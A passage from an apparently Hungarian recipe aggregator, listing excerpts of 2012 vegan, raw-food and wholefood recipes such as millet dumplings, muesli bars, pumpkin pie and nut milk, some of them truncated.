fűszerezzük, hozzáadjuk a préselt fokhagymát. Villával enyhén elnyomkodjuk a borsószemeket, hogy ne mindegyik maradjon egészben. Pár perc alatt összefőzzük. A sült és kihűlt paprikákat óvatosan lehéjazzuk és kivesszük a csumájukat. Kiskanál segítségével betöltjük a csicseriborsó töltelékkel. Kerámia edénybe helyezzük őket, a sajtszeletekkel beborítjuk és csak addig sütjük amíg ráolvad a sajt. Ha főételként szeretnétek fogyasztani a kölest ajánlom köretként. Tálalás előtt meglocsoljuk a tejföllel.Fittanyuka
Vegán csokis süti
Csokis süti körtével Ennek a receptnek az a különlegessége, hogy tk lisztből készül ugyan, de teljesen élvezhető azok számára is, akik nincsenek annyira hozzászokva a tk liszt ízvilágához :) Többszöri kísérletezgetés után találtam ki a ezt a végső receptet, körte helyett más gyümölccsel is el tudnám képzelni (pl alma, barack) Hozzávalók 10 dkg tk liszt 1 kk sütőpor 4 dkg cukrozatlan kakaópor 7 dkg cukor 30 ml olaj (pl szőlőmag/kókusz olaj) 1,4 dl növényi tej 2 nagy körte a tetejére A hozzávalókat a megadott sorrendben összekeverjük, kivajazott-lisztezett tortaformába öntjük (ne ijedjünk meg, hogy milyen kevés a tészta, ennek a süti azért finom, mert a tészta vékony, és a körtével így pont élvezhető arányban van!). 180 fokra előmelegített sütőben (én mindig légkeverésesen sütök, abban 160 fok!) kb. 30 percet sütjük (tűpróba!).
Almás-mézes krémes
2012. október 25. Mindennapi ételeink
Hozzávalók: 25 dkg liszt 8 dkg méz 4 dkg kókuszolaj 10 dkg nyírfacukor 8 dkg zabpehelyliszt 1/2 tk. szódabikarbóna 1 citrom héja 1 marék darált mandula kb. 1 dl víz -- 1l Vegimilk 2 csomag vaníliás puding 5 ek. nyírfacukor -- 1 kg alma Elkészítés: Az alapanyagokat alaposan összedolgozzuk, kb. 15 percig állni hagyjuk. Majd kétfele szedjük és lisztezett deszkán jó vékonyra kinyújtjuk mindkét tésztát. Olajozott-lisztezett tepsiben mindkettőt 15 perc alatt kisütjük. A pudingot a hagyományos módon elkészítjük, az almákat meghámozzuk és lereszeljük, majd megpároljuk. A tésztalapokat széltében ketté vágjuk, így lesz 4 kisebb lapunk.Amikor kihűltek a tésztalapok, illetve a töltelékek, megpakoljuk: tészta-vaníliás puding-tészta-alma-tészta-vaníliás puding-tészta-alma. Másnap megpuhul a tészta,ekkortól fogyasztjuk.
Hamis túrógombóc - gyorsabb, egészségesebb, vegán!
Kittivel egy főiskolán főzőkör keretén belül igyekszünk továbbadni a hallgatóknak vegán ismereteinket, receptjeinket. Egyik alkalommal a hamis túrógombóccal ismerkedtünk meg, így sajátítottam el én is ezt remek ételt. Nagyon tetszett, hogy kimondottan úgy néztek ki a golyók, mint egy igazi túrógombóc. Ízben is közel megszólalásig hasonlóak voltak, leszámítva azt, hogy nem terhelték hosszú órákon át a gyomrot úgy, mint a túró. Tudniillik a túró akár 10-12 órán keresztül is emésztődik, ellenben a kölessel, ami azonban akár lúgosít is. Tehát nem csak gyors, finom, de egészséges is ez a túrógombóc. A recept: Hozzávalók: - 30 dkg köles - 6 dl növényi tej - 1,5 -2 dl búzadara (nekem teljes tönköly volt) - zsemlemorzsa (házi kenyérből lett ledarálva) - 2 citrom - 1 csipet só (tengeri, vagy himalaya - ebből picit több kell) - édesítő (gyümölcscukor, xilit, nyírfacukor, szabadon választható) Elkészítés: Ha a kölest előző este be tudjuk áztatni, egészségesebb, ha nem, akkor marad az azonnali főzés. Akár áztatjuk, akár nem, mindenképpen alaposan mossuk át! A kölest a növényi tejben egy csipet sóval kezdjük el főzni, ha még nem főtt meg, de a tej már lefőtt a felszínéről, és úgy látjuk, szükséges még folyadék hozzá, akkor egyszerűen vizet is önthetünk hozzá, vagy ha van még növényi tejünk, akkor azzal is pótolhatjuk a hiányzó folyadék mennyiségét. Főzés vége fele a búzadarát is hozzáfőzzük. Ez segít abban, hogy a köles úgy összeálljon, hogy gombócokat formálhassunk belőle. Amikor a köles puhára főtt, hozzákeverjük a két citrom kicsavart levét, valamint ízlésünknek megfelelően édesítjük. Emlékszem, a főzőkörön simán elbírta a két citrom levét a massza. Itthon is. Ez kölcsönzi neki az igazán finom ízhatást. Szükséges lételeme a finom íz eléréséhez! A masszát, ha kész hideg helyre tesszük, vagy hideg vízbe állítjuk az edénnyel, így gyorsabban kihűl. Néha akár át is keverhetjük, hogy az egyenletes hűlést biztosítsuk. Közben zsemlemorzsát pirítunk. Ebbe fogjuk belehempergetni a kis gömböket. Ha a massza kihűlt, golyókat formálunk belőlük és a megpirított zsemlemorzsába hempergetjük. Én nem tettem a zsemlemorzsa alá semmilyen olajat vagy zsiradékot. Sőt, a gombócokból is kihagytam a kókuszzsírt vagy a margarint. A képeken látható, ennek ellenére szép kis golyókat tudtam formálni belőlük. Vizes kéz volt benne segítségemre.
Tök jó Pite
2012. október 18. Fittanyuka Blog
Az oviban Tök jó délután volt a gyerekeknek és minden anyuka vihetett valami sütit. Én az alkalomhoz és a névhez illően ezt a tönkölyös Tök jó Pitét sütöttem. Ajánlom nektek is az őszi hétvégékre nassinak, a gyerekek imádták. Hozzávalók: 300 g világos tönköly liszt 80 g nyírfa cukor 6 evőkanál kókusz olaj késhegynyi bourbon vanília 1 zacskó foszfátmentes sütőpor 1/2 narancs leve és reszelt héja 200 ml víz 10 dkg nyers sütőtök kandírozott narancs héj A lehéjazott nyers tökből karalábévájóval kis gömböket vágunk ki, amelyeket ujjnyi lobogó vízbe dobjuk és 2 percig blansírozzuk, majd kivesszük és lecsöpögtetjük. Először a száraz hozzávalókat keverjük össze: a lisztet, a nyírfa cukrot, vaníliát, sütőport, majd hozzáadjuk az olajat, a reszelt narancs héját és levét, a vizet. Robot gép segítségével összedolgozzuk. Egy pite sütőt kiolajozunk, beleöntjük a masszát, a tetejére szórjuk a kandírozott narancs héját és eligazítjuk a blansírozott sütőtök golyócskákat. Előmelegített sütőben 180 C fokon 25-30 percig sütjük. Amikor elkészült, a tetejére agave szirupot csorgattam, de ezt helyettesíthetjük a mézzel is. Fittanyuka
Müzliszelet
2012. október 18. Mindennapi ételeink
Nagyon finom, és egészséges csemege. Ez egy alaprecept, legközelebb banánchips is kerül bele pl. Hozzávalók: 17 dkg kókuszolaj 15 dkg méz 16 dkg nyírfacukor 35 dkg zabpehely 10 dkg dió 10 dkg mazsola 10 dkg napraforgómag 10 dkg aszalt gyümölcsök 4 ek. kókusz Elkészítés: A száraz alapanyagokat összekeverjük (az aszalt dolgokat és a diót alaposan összeaprítjuk). A kókuszolajat és a mézet összefőzzük, felöntjük vele a zabos keveréket, majd olajjal kikent tepsiben elsimítjuk és 150 fokon 20 perc alatt összesütjük. 30 percet várunk, hogy megdermedjen és felvágjuk. Most kókuszolaj + karob keverékét kentem a felére, a fele üresen maradt, de így is, úgy is nagyon finom :)
Zabpelyhes-mákos muffin
Megihletett Nóri maradékos sütije, nekem is maradt tegnapról egy kis nyers mákos sárgarépám, ami már nem fért belém Adtam hozzá még 1-2 dolgot, és lett belőle fini süti Hozzávalók: 2 ek reszelt mákos sárgarépa 1 ek zabpehely 1 tk stevia por 1/2 citrom reszelt héja 1 ek kókusz reszelék 1 ek mazsola 1 ek áztatott [...]
Pirított gomba párolt brokkolival
Gyors és finom ebéd. A pirított gombának isteni íze van, szívből ajánlom kipróbálásra. A brokkolit lehet hozzá természetesen nyersen is enni, de én úgy nem bírok belőle sokat, csak egy rózsányit megenni, így gőzben megpároltam. Elkészítés: A brokkolit párolóedényben feltesszük főni, addig elkészítjük a gombát. A gombát meghámozzuk, majd egy serpenyőbe icipici olívaolajat vagy kókuszzsírt [...]
Íme a győztes!
2012. október 9. Gitta nyersétel blogja
A 2. Zöldturmix fesztiválon megrendezésre került nyersétel készítő pályázat első helyezett ételét szeretném bemutatni, fotókkal, recepttel. Simon Márta Viktóriának köszönjük szépen! Le van tesztelve, nagyon finom, és a fotókon is látszik, bizony szép is volt. Cukkíniből készült spagetti avokádós öntettel Avokádós spagetti Hozzávalók: ,,Tésztához: Cukkini Szószhoz: Avokádó: személyenként 1 db Lilahagyma Himalájai só Fokhagyma Őrölt feketebors Himalájai só ,,Sajthoz: Kesudió Himalájai só Öntethez: Tahina (szezámmagkrém) Himalájai só Olaj Lime Kapor Őrölt pirospaprika Elkészítés: A meghámozott cukkinit spagetti formájúra vágjuk és tányérra halmozzuk. A kikapart avokádóhúst ízlés szerinti mennyiségben felaprított, citromlében áztatott lilahagymával, áttört fokhagymával, sóval, borssal, őrölt pirospaprikával ízesítjük, majd a ,,tésztára simítjuk. A 3 órán át vízben áztatott kesudiót aprítógépben áttörjük, sózzuk. A masszát lapos kör alakra formázva a szószos tészta tetejére helyezzük. Az öntethez egy teáskanál tahinát fél lime levével, kevéske vízzel és olajjal apránként simára, krémes állagúra keverünk. Ízlés szerint mézzel édesíthetjük. Apróra vágott friss kaporlevéllel frissítünk a zamatán, majd egyenletesen az étel tetejére csurgatjuk. Pirospaprikával díszíthetjük így elkészült ízekben gazdag egészséges eledelünket. Az étel nemcsak tápláló, de gyorsan elkészíthető, a magam részéről a tökfőzelék nyers változatának tekintem. Hamvas diógolyó Hozzávalók: Dió Mazsola Darált lenmag Citrom Akácméz Kókuszreszelék Elkészítés: A diót és mazsolát aprítógépben áttörjük, citromlével és akácmézzel ízesítjük. Míg elég formázhatóvá nem válik a massza, darált lenmaggal sűríthető. Falatnyi golyókat formázunk belőle, amiket kókuszreszelékbe forgatunk. Édes, lédús szőlőszem társaságában kellemesen oldódik ízlelőbimbóinkon. Jó étvágyat kívánok: Simon Márta Viktória
Gabonakávés tekercs
Ritkán készítek már édességeket, de talán most majd télen több fog készülni a gyerekeknek. Gabonakávé helyett lehet kakaót is használni. Vigyázat vele, mert magasabb zsírtartalmú, így egy-két szelet is elegendő belőle. Keksz helyett egészségesebb mandulát használunk. Hozzávalók: a héjától megfosztott, őrölt mandula, datolya és mazsola, gabonakávé, kis víz, a töltelékhez: kókuszzsír, kókuszreszelék, agavé szirup (vagy [...]
Trópusi turmix
Néha szívesebben élnék melegebb vidéken, az Egyenlítőhöz közelebbi helyeken, ahol könnyedén terem a mandarin, narancs, kókusz, mangó, papaya és társai. Jobb híján csak ízekkel csempészhetem be 1-1 hidegebb napokon ezeket a vágyva vágyott helyeket az életünkbe. De van, akiknek még ez sem adatik meg. Akik pedig azokon a földrészeken, tájakon élnek, bizonyára szeretnének havat, ködöt tapasztalni, megélni, még ha rövidebb időre is. Nos, igen, erre a "feeling"-re mondják, hogy a szomszéd kertje mindig zöldebb. Vagyis mindig más dolgokra vágyunk, azt szeretnénk magunknak, ami máshol jobb, szebb, miközben nem vesszük észre például, hogy a szomszédnak zöldebb a kertje, de nekünk levendulabokrok díszítik a telkünket. Szóval egy ilyen elvágyódós hidegebb napon készíthetjük el (s persze bármikor máskor, de ekkor ajánlott igazán) az alábbi turmixot. A recept: Hozzávalók: - 1-2 banán - 4-6 dl 100%-os narancslé (akár frissen facsart is jó, de ha nincs, dobozost is választhatunk) - 2 evőkanál kókuszreszelék (vagy egy negyed kókusz belseje kikaparva) Elkészítés: A kókuszreszelékkel kezdjük a turmixolást. Nagyjából 2 dl narancslével 2 percen keresztül alaposan összeturmixoljuk a fehér reszeléket. Ezt követően hozzáadjuk a banánt, majd a maradék narancslevet és ismét tovább turmixoljuk, de ekkor már rövidebb ideig is elég. Poharakba töltjük, menta vagy citromfű levéllel díszíthetjük.
Karfiolfelfújt pitában
Anyuékhoz mentem tegnap, és gondoltam, meglepem őket egy kis előétellel a vasárnapi ebédhez Hozzávalók: Pitához: 2 maréknyi teljes kiőrlésű tönkölyliszt ( 1 bögre tönkölybúza megőrölve) 1 csipet tiszta só 1 tojás 1 diónyi vaj, vagy kókuszvaj Alaposan összedolgozzuk a tésztát, kinyújtjuk, és a kizsírozott, kilisztezett sütőtálban elterítjük úgy, hogy a széleit is fedje. Közben picit [...]
Zöldséges Rizstorta
2012. szeptember 28. Fittanyuka Blog
Az alábbi recept szuper kímélő és alakbarát étel, mindamellett természetesen 100%-ban megfelel a lúgosító ételek kritériumainak, ha mondhatom így! Ismeritek a rizs lapokat? Keleti boltokban fellelhetőek, gyakorlatilag csak rizs lisztet és vizet tartalmaznak. Több méretben kaphatóak. Én a tortához a minél kisebb átmérőjűre ( kb. 15 cm) szavazok, mert szakadhatnak a lapok. Hozzávalók: Tetszőleges mennyiségű rizslapok ( attól függően amilyen magasra szeretnénk a tortát), én 10 db lapot használtam fel. Zöldségek: 10 dkg spenót levél 3 szál répa 1 db közepes cukkini 1 db vöröshagyma 1 cikk fokhagyma 1 kk himalaya só 1/2 kk kakukkfű 3 evőkanálnyi kókuszolaj 2 evőkanál kukoricakeményítő 1 dl víz A rizs lapokat egy tálba helyezzük és leöntjük őket forrásban lévő vízzel, annyival, hogy ellepje. Ázni hagyjuk kb. 5-7 percig. Addig elkészítjük a zöldségeket. A hagymát felaprítjuk, a cukkinit, sárgarépát lereszeljük. A hagymát a kókuszolajon megdinszteljük, hozzáadjuk a répát, cukkinit, spenót leveleket sózzuk, fűszerezzük, hozzáadjuk a préselt fokhagymát. Lefedve addig pároljuk, néhányszor megkeverve, míg a zöldségek roppanósra puhulnak, a spenót levelek összeesnek. 1 dl hideg vízben elkeverjük csomómentesre a kukoricakeményítőt és hozzáöntjük a zöldséges egyveleghez. Egy kapcsos torta formát kiolajozunk, a rizslapokat egyenként óvatosan kiemeljük a vízből, lecsöpögtetjük és elkezdjük lerakni a formába. Egy rizslap, egy réteg zöldség, mindaddig amíg elfogynak a hozzávalók. Tipp: Gazdagíthatjuk növényi sajttal, akár a rétegek között, és a tetejére is reszelhetünk, hogy ráolvadjon. Előmelegített sütőben 180 C fokon 25-30 percig sütjük. A lapok könnyen szakadnak, igazából nem jelent nagy gondot, ha elszakadva rétegezzük, úgyis sikerül a torta! Salátával vagy önmagában fogyaszthatjuk, de akár vendégvárónak is kitűnő. Böjti bevezető és felépítő ételnek is nagyszerű. Fittanyuka
Mogyorótej
A mogyorótej egy rendkívül tömény ízvilággal megáldott növényi tej, amelyet akár reggeli italként is fogyaszthatunk, de remek kiegészítője, alapja például a kelt tésztáknak vagy palacsintának, gofrinak. Elkészítése nagyon egyszerű, akárcsak a kókusztej, vagy a diótej. A recept: Hozzávalók: - mogyoró (1 nagyobb marékkal) - víz - esetleg édesítéshez gyümölcscukor, vagy nyírfacukor, vagy stívia (ki mit használ...) Elkészítés: A mogyorót ha van rá mód és idő, akkor érdemes pár órára a vízbe áztatni. (Én kb. 1 órát tudtam csak áztatni legutóbb, de máskor 3-4 órát is.) Ezt követően erős turmixgéppel a vizet és a mogyorót alaposan összeturmixoljuk., majd sűrű szövetű szűrőn átszűrjük. Ezzel kész is a mogyorótej. Karobbal is ízesíthetjük. Ez esetben meleg italként kicsit "mogyorós forrócsoki" utánzat lesz belőle. A szűrőn visszamaradt mogyorót több mindenhez használhatjuk. Akár kenyér tésztájához keverhetjük, vagy péksüteményt tölthetünk meg vele, de palacsinta tölteléknek is nagyszerű. Vagy karobbal és mézzel összekeverve reform "nutellát" készíthetünk belőle.
Kolbásztök paradicsomszósszal
Készítem már télire a kertecskét, mikor ráakadtam egy gyönyörű, zsenge kolbásztökre Azonnal belopta magát a szívembe, és nem sokkal később a tányérkámba is Hozzávalók 2 személyre 1 kisebb kolbásztök 1 evőkanálnyi majoránna tiszta só, ízlés szerint 1 diónyi kókuszzsír a tepsi kikenéséhez A tököt megmostam, meghámoztam, és felkarikáztam kb. 1/2 cm vastagra. Tepsire raktam, megsóztam [...]
Kardamomos-kobos csigák
2012. szeptember 21. Mindennapi ételeink
Ma gabonakávé és szőlő kíséretében ezt reggeliztük. Tulajdonképp tegnap este sütöttem kenyeret ugyanebből a tésztából, ill. virslis rudakat és ilyen csigákat is (férjemnek elindult az egyetem, és tegnap + ma volt konzultációs napja, ilyenkor egész nap a suliban van, ezért készítek nem csak szendvicseket, hanem különböző péksüteményeket is neki. Hozzávalók: 30 dkg teljes kiőrlésű liszt 15 dkg finomliszt 2,5 dkg élesztő 2,5 dl víz 0,75 dl 100% extra szűz olívaolaj 1 csipet só 3-4 ek. nyírfacukor 1/2 citrom héja -- 6 ek. 100% extra szűz olívaolaj 2 ek. karob 1 tk. kardamom 1 marék összevágott jumbo mazsola 3 ek. nyírfacukor Elkészítés: Nagyon egyszerű az elkészítése. Az élesztőt felfuttatjuk. A tészta többi hozzávalóját összekeverjük és bedagasztjuk. Letakarva 1 órán át kelesztjük. Majd egy lisztezett deszkán kinyújtjuk (kb. 0,5 cm vastagságúra), és 5 cm széles sorokat vágunk. Minden sort megkenünk olajjal, majd megszórjuk (jó alaposan) az előre összekevert karob-kardamom-nyírfacukor-mazsola keverékével. Feltekerjük, olajozott, lisztezett tepsibe tesszük és sütőbe rakva 10 percig 50 fokon kelesztjük, majd 25-30 perc alatt 150 fokon kisütjük. Mindez variálható, vaníliapudingos, kókuszos vagy akár pizzás töltelékkel is.
Pirított dióval és zabpehellyel töltött körte
2012. szeptember 20. Mindennapi ételeink
A karoböntet a fotóról lemaradt....:-)Nagyon finom, könnyű édesség, akár reggeliként fogyasztva is. Hozzávalók - 2 személynek 4 db körte 1 bögre dió 10 dkg zabpehely 2 dl Vegimilk 1 citrom héja 5 ek. nyírfacukor -- 2 ek.karob 1ek.méz 1/2ek.olvasztott kókuszzsír Elkészítés A Vegimilket felforraljuk. A zabpelyhet beleöntjük, és megfőzzük. A végén ízesítjük nyírfacukorral és citromhéjjal. A diókat olaj nélküli serpenyőben megpirítjuk, és ezt is hozzákeverjük a megfőtt zabpehelyhez. A körtéket megskalpoljuk. Kivájjuk a magházat, majd beletöltjük az előzőleg elkészített tölteléket. Olajjal kikent tepsibe tesszük gyümölcsöket és 150 fokon kb. 20 perc alatt kisütjük. A legvégén karoböntettel nyakon öntjük. Egyszerű, de nagyon finom és mutatós!
Aszalt körtés-áfonyás sütemény
2012. szeptember 14. Mindennapi ételeink
Nagyon-nagyon finom, érdemes elkészíteni, a hűvösebb őszi estékre, reggelekre csemegének. Hozzávalók: 16 dkg zabpehely (most akciós a Vegetárnál:-) 12 dkg liszt (fele finom-fele teljes kiőrlésű) 1 tk. Arm@Hammer szódabikarbóna 1 tk. foszfátmentes sütőpor 1 nagy marék jumbo mazsola 1 nagy marék dió 1/2 marék napraforgómag 15 dkg aszalt körte 1,5 dl 100-ban extra szűz olívaolaj 1 körte, reszelve 1 citrom héja és leve 2 ek. méz 10 dkg nyírfacukor -- 2 ek. karob 1 ek. méz 2 ek. kókuszolaj Elkészítés: A liszteket, szódát és a foszfátmentes sütőport összekeverjük, majd hozzáadjuk a többi alapanyagot is (aszalt körtét apróra vágva). Alaposan összedolgozzuk. A körtét nem szükséges meghámoznunk, héjastul reszeljük bele. Egy kevéssé pihentessük, majd kis kupacokat (kb. 24-25 db lesz ennyiből) formázzunk sütőpapírral bélelt tepsibe, és kb. 25perc alatt közepes lángon, egyszer megfordítva süssük ki. Vigyázzunk, mert gyorsan leég. A mázat így készítjük el: A karobot összekeverjük a mézzel, vízzel és a puha kókuszolajjal. Kenhető, csokis krém lesz, ezt tesszük a sütemények tetejére, miután kihűltek. Én még friss áfonyát is pakoltam a tetejére. Nagyon-nagyon finom sütemény.
Gyöngyszem falatkák
2012. szeptember 13. Zizi kalandjai
Új sorozat indul itt a Zizi kalandjain a Hétvégi ízmorzsák mellett... Az internetnek köszönhetően hétről hétre rengeteg benyomás, inspiráció, információ ér néha olyan mennyiségben, hogy alig győzöm feldolgozni. A mai nap is ilyen. Épp az előbb osztottam meg Twitteren a ma ért inspiráció tömeg hét kedvencét, de úgy gondoltam, hogy ezt blog formába öntöm és megosztom veletek is hétről hétre. Szóval készítsetek egy csésze meleg teát, habos kakaót vagy cappuccinot, tálaljátok egy csábító süteménnyel vagy törjetek le egy darabkát egy finom étcsoki táblából, dőljetek hátra és ez legyen a ti időtök, amikor kikapcsoltok egy fél órára.
Jó szórakozást!
- Egy új blog, ahonnan máris néhány receptet kinéztem: Whole Promise
- Épp múlt pénteken készítettem parmezános padlizsánt a Veg Every Day szakácskönyvből, erre ma a toszkán barátnőm Giulia kirakott egy nagyon hasonló receptet (a nagymama változatot) - ezt is ki fogom próbálni
- Whole Living magazin egyik számának online változata tele hihetetlenül finom és tápláló ételek receptjeivel
- Mandulás kuglóf, feltétlen meg kell sütnöm
- Csodás lifestyle magazin, a Rue szeptemberi száma
- Tuti nyerő a közelgő sütőtök szezonban: sütőtök pekándió fánkok
- Ezt sem fogom kihagyni: kókusztejes barnarizs puding fahéjas ringlóval Kicsi Vútól
- Rákattantam a washi tape-ekre (ez talán a dekortapasz magyarul?), ki is néztem innen néhányat
Hajdinalisztes palacsinta citromkrémmel
2012. szeptember 7. Fittanyuka Blog
A hajdina (más néven pohánka, tatárka) jótékonyan hat az érrendszeri megbetegedéseknél, a magas vérnyomásban szenvedőknél és a cukorbetegeknél. Kiemelkedően magas élelmirost-tartalma miatt a bélperisztaltika növelésén és a tranzitidő lerövidítésén keresztül jól alkalmazható a népbetegségnek tekinthető székrekedés (obstipatio) étrendi kezelésében és egyes daganatos megbetegedések (például vastag- és végbéldaganat) megelőzésében. A hajdina alkalmazható a Candida albicans fertőzés étrendi kezelésében is. A belőle készült lisztből készíthetünk palacsintát, próbáltam más jellegű süteményeknél is, de jellegzetes íze miatt ( ami egyébként nem rossz ízt jelent), nem aratot nagy sikert. A palacsinta a kellemesen savanykásan - édes citromkrémmel nagyon finom ízhatású. Próbálhatjuk más krémekkel is, vagy cukormentes lekvárokkal. Hozzávalók: 200 g hajdina liszt 200 g világos tönkölyliszt 1 l víz 3 evőkanál kókusz olaj késhegynyi szódabikarbóna kókusz olaj a sütéshez. A fenti összetevőkből palacsinta tésztát keverünk és kókusz olajjal kikent palacsinta sütőn egyenként kisütjük. Citromkrém: 400 ml kókusztejszín 3 evőkanál keményítő 2 evőkanál nyírfacukor 1/2 citrom leve 1/2 citrom reszelt héja pár csepp citrom olaj A kókusztejszínt összekeverjük a vízzel, csomómentesen elkeverjük a keményítővel, hozzáadjuk a citrom levet, héját és olajat. Lassú tűzön, állandó keverés mellett addig főzzük ameddig besűrűsödik. A krémhez adhatunk cukormentes (kukoricasziruppal), kandírozott citromhéjjat, vagy aranymazsolát. Hagyjuk kihűlni, majd hidegen mégegyszer átkeverjük és igényt szerint töltjük vele a palacsintáinkat. Fittanyuka
Vegán kukoricás áfonyás muffin
2012. szeptember 2. Zizi kalandjai
Igen, egy újabb édesség... ígérem ezután sós recept jön, Kata! :) Pénteken sütöttem először és az eredmény nem várt siker lett. Olyan wow élmény. Éppen ezért gyorsan fogytak (I. nagyon rájárt :)). Még Jucinak is jutott belőle két darab. Persze könnyelműen megígértem, hogy este jövök a recepttel, de olyan fáradt voltam, hogy nem volt erőm összedobni a bejegyzést.
Arra viszont volt erőm, hogy egy újabb adagot előkészítsek. Aztán szombaton reggel 6-kor keltem, hogy még a piac előtt kisüssem a következő adagot, amit aztán délután vittünk vendégségbe. Ott azonnal kérték a recept... nem csodálkoztam.
Kukoricának és áfonyának még szezonja van, szóval ne hagyjátok ki! A receptet Emily blogján találtam, néhány apróságot változtattam csak rajta.
Vegán kukoricás áfonyás muffin
Hozzávalók 12 db-hoz:
- 1 evőkanál őrölt lenmag
- 3 evőkanál víz
- 1 bögre kukoricadara
- 1 bögre tönköly fehérliszt
- 1 evőkanál sütőpor
- 1/2 teáskanál só
- 1 bögre zabtej (rizs- vagy szójatej is használható)
- 1 evőkanál almaecet
- 1/3 bögre nádcukor
- 1/4 bögre kókuszolaj (napraforgó olaj is használható helyette)
- 1 vaníliarúd kikapart magjai
- 1 bögre áfonya
- 1 bögre friss kukorica
Egy tálkában keverjük össze az őrölt lenmagot a vízzel (ez szolgál a tojás helyettesítésére) és hagyjuk állni 6-8 percig. A kukoricáról vágjuk le a szemeket (kb. 1 kisebb cső ad 1 bögrényit, persze használhatunk fagyasztott kukoricát is) és tegyük félre. Béleljük ki a muffintepsit papírkapszlikkal.
Melegítsük elő a sütőt 180 fokra.
Egy tálban keverjük össze a száraz hozzávalókat: kukoricadara, tönkölyliszt, sütőpor, só. Egy másik tálban keverjük össze a zabtejet az almaecettel, keverjük el benne a nádcukrot, majd adjuk hozzá a kókuszolajat és a vaníliát. Öntsük hozzá a lenmagot, keverjük el. Adjuk a nedves hozzávalókat a szárazhoz és jól keverjük össze a tésztát. Most jönnek az áfonya- és kukoricaszemek. Óvatosan keverjük, hogy minél több áfonyaszem maradjon egyben.
Kanállal osszuk el a tésztát egyenlő részben a muffinformákban. Süssük 180 fokon kb. 20-25 percig. Kivétel előtt azért végezzünk tűpróbát, hogy jól átsültek-e a muffinok.
Káposztás kölesgolyók
A második fogást már nyugodtan elfalatozgattam Ezt ki kell próbálnotok! Nem csak egészséges, de nagyon finom is Hozzávalók személyenként: 1 evőkanálnyi köles 2 maréknyi reszelt káposzta tiszta só ízlés szerint bors ízlés szerint 1 diónyi kókuszzsír A kölest megmossuk, jól lecsepegtetjük, és egy teflon, vagy vaslábosban natúron addig pirítjuk, amíg finom illat száll fel a [...]
Rózsaborsos Túrókrém
2012. augusztus 23. Fittanyuka Blog
Aki szereti a kencéket, krémeket és mindent amit kenni, mártogatni lehet azoknak melegen ajánlom ezt a receptet. És természetesen azoknak is aki valamilyen oknál fogva nem fogyasztanak tejtermékeket. Gyors, egyszerű, finom! A tofu pedig annyira semleges ízű, önmagában íztelen, hogy minden fűszert, íz világot magába szív, próbáljátok ki! Hozzávalók: 250 g natúr tofu 200 ml kókusz tejszín 1/2 citrom leve 1 kk himalaya só késhegynyi tört rózsa bors ( vagy ízlés szerint) 2 cikk préselt fokhagyma A tofut sajtreszelőn lereszeljük, a többi hozzávalóval együtt turmix vagy bot mixer segítségével krémesre turmixoljuk. Pirítóssal, zöldségekkel nagyon finom kenni való. Fittanyuka
Csokis rizsdesszert
A fazekas lányok vasárnapi meglepetése volt ez a jázminrizses finomság ? Hozzávalók 6 személyre: 25 dkg jázminrizs 1 csipet tiszta só 1 diónyi kókuszzsír 2 dl tej, vagy zabtej 2 cs vaníliás cukor 1 cs bourbon vaníliás cukor 2 ek Xilit Csokiöntet: 6 érett banán 2 teáskanál bio kakaópor Díszítéshez 1 fürt szőlő, és néhány [...]
Nyers kókuszos golyó
“Gyere golyó, hammm bekaplak!” )) - mondta Nóri kerekre nyílt szemmel, száját nyalogatva, és tééényleg beleharapott ebbe a kakaós csodába. …. Hozzávalók: kakaópor, datolya, mandula őrlemény, kókuszreszelék Elkészítés: A mandula őrleményhez (előzőleg áztatott, héjától megfosztott, szárított és ledarált mandula) hozzá keverjük a kakaóport, majd a datolyáról alaposan lemossuk a ragadós glükózszirupot, kimagozzuk, és aprítógépben datolyavajjá [...]
Diós csokigolyó
2012. augusztus 17. Gitta nyersétel blogja
Inkább téli, mint nyári édesség ez a tömény csokigolyó... de nagyon finom. Zserbó-golyó! Majd télen újra elővesszük ezt a receptet :) Ilyenkor még meglepetés: bármi lehet a csokiréteg alatt... Hozzávalók: 20 dkg áztatott dió (tiszta vízben legalább 24 órán át áztatjuk, az áztató vizet gyakran cseréljük) 3 evőkanál méz (ez változhat ízlés szerint) 1 evőkanál narancslé 1 csipet vanília por 3-4 dkg mazsola Golyók dióból, még csoki nélkül. Így is ehető A diót megdaráljuk és mézzel, narancslével, vaníliával ízesítjük. A mazsolát beáztatjuk, és ha felpuhult, egészen apró darabokra vágjuk, majd hozzákeverjük a diós masszához. Nedves kézzel pici golyókat gyúrunk belőle. Hűtőszekrénybe tesszük, hogy kicsit megdermedjenek. Megforgathatjuk kókuszreszelékben, vagy belemárthatjuk nyers csokiba. Jó minőségű bio csokit is felolvaszthatunk, ha nincs otthon kakaóvaj. Ha az utolsó darabokra nem jut elég csoki... Nyers csoki: 5 dkg kakaóvaj 1 evőkanál bio kakaópor 1 evőkanál méz A kakaóvajat felolvasztjuk, hozzáadjuk a kakaóport és a mézet, jól összekeverjük. A dió gombócokat félig belemártjuk, lecsöpögtetjük a felesleges csokit, majd hűtőszekrénybe tesszük dermedni. Felvágva...
Glutén-, és tejmentes villámgyors torta
2012. augusztus 14. Rongybaba konyha
Ez az egyszerű süti teff lisztből készült (bár egy kevés rizslisztet is adtam hozzá, csak azért, hogy higítsam:). A teff egy nagyon jó gluténmentes gabona, Etiópia csoda-gabonájának nevezik, a legapróbb szemű gabonaféle, a wikipédián azt láttam, hogy 150 teff-szem tesz ki egy búzaszemet. Több kalciumot tartalmaz , mint a tej , sok-sok vasat , sok rezet , cinket , foszfort , magnéziumot , fehérjét . Jó az illata, az íze, egyetlen baja van, az ára... 180 g teff liszt 70 g fehér rizsliszt 50 g kakaópor 50 g nádcukor csapott kávéskanál GM sütőpor 2 tojás kb 2/3 doboz 400 g-os kókusztej A tojás fehérjét felvertem, a sárgáját kikevertem a cukorral, hozzáadtam, minden mást, a végén a tojáshabot és előmelegített 180 fokos sütőben kb 25 perc alatt megsütöttem. Hát, nagyon gyorsan elfogyott, nagyon finom volt, de lehetne könnyebb a tésztája... A pudinghoz kivételesen az egyszerűség kedvéért bolti burbon vaníliás pudingport használtam, szójatejjel és nádcukorral készítettem.
Joghurtos Narancs kuglóf
2012. augusztus 9. Fittanyuka Blog
